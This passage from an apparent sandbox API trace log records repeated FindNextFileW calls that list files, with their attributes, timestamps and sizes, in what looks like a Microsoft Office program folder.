lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5439200, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50b1a060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5439200, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGPOS.VRD", cAlternateFileName="")) returned 1 [0069.414] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5dc7c00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50b1a060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb5dc7c00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x105b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORGWIZ.VSL", cAlternateFileName="")) returned 1 [0069.414] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c57a100, ftCreationTime.dwHighDateTime=0x1cac466, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4c57a100, ftLastWriteTime.dwHighDateTime=0x1cac466, nFileSizeHigh=0x0, nFileSizeLow=0x4790, dwReserved0=0x0, dwReserved1=0x0, cFileName="ospintl.dll", cAlternateFileName="")) returned 1 [0069.414] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed8c4100, ftCreationTime.dwHighDateTime=0x1c67eda, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed8c4100, ftLastWriteTime.dwHighDateTime=0x1c67eda, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTFORM.DAT", cAlternateFileName="")) returned 1 [0069.414] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2fc5400, ftCreationTime.dwHighDateTime=0x1ca0f51, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2fc5400, ftLastWriteTime.dwHighDateTime=0x1ca0f51, nFileSizeHigh=0x0, nFileSizeLow=0x970, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLBAR.INF", cAlternateFileName="")) returned 1 [0069.414] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7df9900, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x13f0930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7df9900, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x644d70, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.DLL", cAlternateFileName="")) returned 1 [0069.414] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2411fa00, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2411fa00, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x1d380, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0069.414] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2411fa00, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0x1416a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2411fa00, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x46f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLLIBR.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0069.414] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa80e2700, ftCreationTime.dwHighDateTime=0x1ca8f17, ftLastAccessTime.dwLowDateTime=0x1462d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa80e2700, ftLastWriteTime.dwHighDateTime=0x1ca8f17, nFileSizeHigh=0x0, nFileSizeLow=0x6aa3d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.DEV.HXS", cAlternateFileName="")) returned 1 [0069.414] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x1462d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x28b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.DEV_COL.HXC", cAlternateFileName="")) returned 1 [0069.414] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fbc4400, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1462d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4fbc4400, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.DEV_COL.HXT", cAlternateFileName="")) returned 1 [0069.414] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fbc4400, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1462d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4fbc4400, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.DEV_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.414] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fbc4400, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1462d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4fbc4400, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.DEV_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.414] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3475b500, ftCreationTime.dwHighDateTime=0x1ca95bc, ftLastAccessTime.dwLowDateTime=0x1488eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3475b500, ftLastWriteTime.dwHighDateTime=0x1ca95bc, nFileSizeHigh=0x0, nFileSizeLow=0x13a57c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.HOL", cAlternateFileName="")) returned 1 [0069.414] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ede2d00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8ede2d00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x4c4c67, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK.HXS", cAlternateFileName="")) returned 1 [0069.414] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK_COL.HXC", cAlternateFileName="")) returned 1 [0069.414] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c28bd00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c28bd00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK_COL.HXT", cAlternateFileName="")) returned 1 [0069.414] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c28bd00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c28bd00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.414] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c28bd00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c28bd00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLOOK_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.414] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40d55d00, ftCreationTime.dwHighDateTime=0x1c7cc60, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x40d55d00, ftLastWriteTime.dwHighDateTime=0x1c7cc60, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLPERF.H", cAlternateFileName="")) returned 1 [0069.414] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40d55d00, ftCreationTime.dwHighDateTime=0x1c7cc60, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x40d55d00, ftLastWriteTime.dwHighDateTime=0x1c7cc60, nFileSizeHigh=0x0, nFileSizeLow=0xa87, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLPERF.INI", cAlternateFileName="")) returned 1 [0069.415] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x1f760, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLWVW.DLL", cAlternateFileName="")) returned 1 [0069.415] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2411fa00, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2411fa00, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x2b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLWVW.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0069.415] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PASSPORT.CSS", cAlternateFileName="")) returned 1 [0069.415] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PASTEL.CSS", cAlternateFileName="")) returned 1 [0069.415] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50b8c480, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x14980, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE.VSL", cAlternateFileName="")) returned 1 [0069.415] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cd5800, ftCreationTime.dwHighDateTime=0x1c56bc5, ftLastAccessTime.dwLowDateTime=0x50bfe8a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5cd5800, ftLastWriteTime.dwHighDateTime=0x1c56bc5, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIPELINE.VRD", cAlternateFileName="")) returned 1 [0069.415] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xdf0d2c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x33a380, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJINTL.DLL", cAlternateFileName="")) returned 1 [0069.415] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x25b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJINTLC.DLL", cAlternateFileName="")) returned 1 [0069.415] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50c24a00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x2980, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMENURES.DLL", cAlternateFileName="")) returned 1 [0069.415] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900f5a00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xf5dfd790, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x900f5a00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x4cf264, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.DEV.HXS", cAlternateFileName="")) returned 1 [0069.415] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xf5dfd790, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.DEV_COL.HXC", cAlternateFileName="")) returned 1 [0069.415] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56e35200, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5dfd790, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x56e35200, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.DEV_COL.HXT", cAlternateFileName="")) returned 1 [0069.415] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56e35200, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5dfd790, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x56e35200, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.DEV_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.415] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56e35200, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5dfd790, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x56e35200, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.DEV_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.415] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe02ac500, ftCreationTime.dwHighDateTime=0x1ca9370, ftLastAccessTime.dwLowDateTime=0xf5e49a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe02ac500, ftLastWriteTime.dwHighDateTime=0x1ca9370, nFileSizeHigh=0x0, nFileSizeLow=0x68013d, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT.HXS", cAlternateFileName="")) returned 1 [0069.415] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xf5e49a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT_COL.HXC", cAlternateFileName="")) returned 1 [0069.415] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x534fcb00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5e49a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x534fcb00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT_COL.HXT", cAlternateFileName="")) returned 1 [0069.415] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x534fcb00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5e49a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x534fcb00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.415] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x534fcb00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xf5e49a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x534fcb00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="POWERPNT_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.415] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcab1b00, ftCreationTime.dwHighDateTime=0x1cabea2, ftLastAccessTime.dwLowDateTime=0xf5e6fbb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcab1b00, ftLastWriteTime.dwHighDateTime=0x1cabea2, nFileSizeHigh=0x0, nFileSizeLow=0x139968, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.DLL", cAlternateFileName="")) returned 1 [0069.415] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45e38b00, ftCreationTime.dwHighDateTime=0x1cabea2, ftLastAccessTime.dwLowDateTime=0xf5e49a50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x45e38b00, ftLastWriteTime.dwHighDateTime=0x1cabea2, nFileSizeHigh=0x0, nFileSizeLow=0x9580, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0069.415] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45e38b00, ftCreationTime.dwHighDateTime=0x1cabea2, ftLastAccessTime.dwLowDateTime=0xf5e6fbb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x45e38b00, ftLastWriteTime.dwHighDateTime=0x1cabea2, nFileSizeHigh=0x0, nFileSizeLow=0x22180, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPINTL.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0069.416] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50c4ab60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRIMARY.CSS", cAlternateFileName="")) returned 1 [0069.416] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50c70cc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x21788, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPRPT.VSL", cAlternateFileName="")) returned 1 [0069.416] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e830b00, ftCreationTime.dwHighDateTime=0x1ca4730, ftLastAccessTime.dwLowDateTime=0x50c70cc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7e830b00, ftLastWriteTime.dwHighDateTime=0x1ca4730, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPRPT.VSS", cAlternateFileName="")) returned 1 [0069.416] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4722d700, ftCreationTime.dwHighDateTime=0x1c4bfe8, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4722d700, ftLastWriteTime.dwHighDateTime=0x1c4bfe8, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROTTPLN.DOC", cAlternateFileName="")) returned 1 [0069.416] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: 